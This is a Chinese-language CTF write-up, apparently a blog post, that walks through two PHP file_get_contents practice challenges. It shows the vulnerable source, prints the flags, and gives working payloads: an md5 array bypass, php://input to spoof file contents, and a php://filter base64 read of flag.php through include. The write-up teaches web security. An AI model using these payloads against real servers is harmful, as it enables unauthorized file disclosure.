PHP-file_get_contents(练习1)

[题目信息]:

题目名称题目难度
PHP-file_get_contents(练习1)1

[题目考点]:

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

[Flag格式]:

SangFor{31vKQPZ2RuYLWyuwBEOZyoylVTeH9G9h}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2091

[题目writeup]:

1、实验主页

2、源码分析

<?php
$p1 = @$_GET['a'];
$p2 = @$_GET['b'];
$p3 = @$_GET['c'];
$p4 = @$_GET['d'];
if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))
    if($p1 != $p2 && md5($p1) == md5($p2)){
        if($p3 === file_get_contents($p4)){
            echo file_get_contents("flag.php");
        }
    }
    else{
        die("请输入2个不同的值");
    }
highlight_file("index.php"); 

Payload:

/?a[]=1&b[]=2&c=4&d=php://input
post:
4









[题目信息]:

题目名称题目难度
PHP-file_get_contents1

[题目考点]:

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

[Flag格式]:

SangFor{jfbcGax7p5Uzgu3q}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2014

[题目writeup]:

1、实验主页

2、源码分析

<?php
error_reporting(0);
function check($file){
    $black=array("../", "..\\");
    foreach($black as $value){
        if(strstr($file, $value)){
            die("得了吧");
        }
    }

}
header("set-cookie: sourceCode.txt");
$user = $_GET["name"];
$file = $_GET["file"];

if(isset($user)&&(file_get_contents($user,‘r’)===“welcome to the SangFor”)){
echo “hello admin!<br>”;
check($file);
include($file);
}
else {
echo "you are not admin ! ";
}
?>

根据源码存在两个变量,$user和$file。

在if条件判断中,传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。

file_get_contents() 函数把整个文件读入一个字符串中。

file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

?name=php://input
POST:
welcome to the SangFor

进入if判断有执行到包含函数,则可以使用伪协议读取目标文件

/?name=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php
POST:
welcome to the SangFor
  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值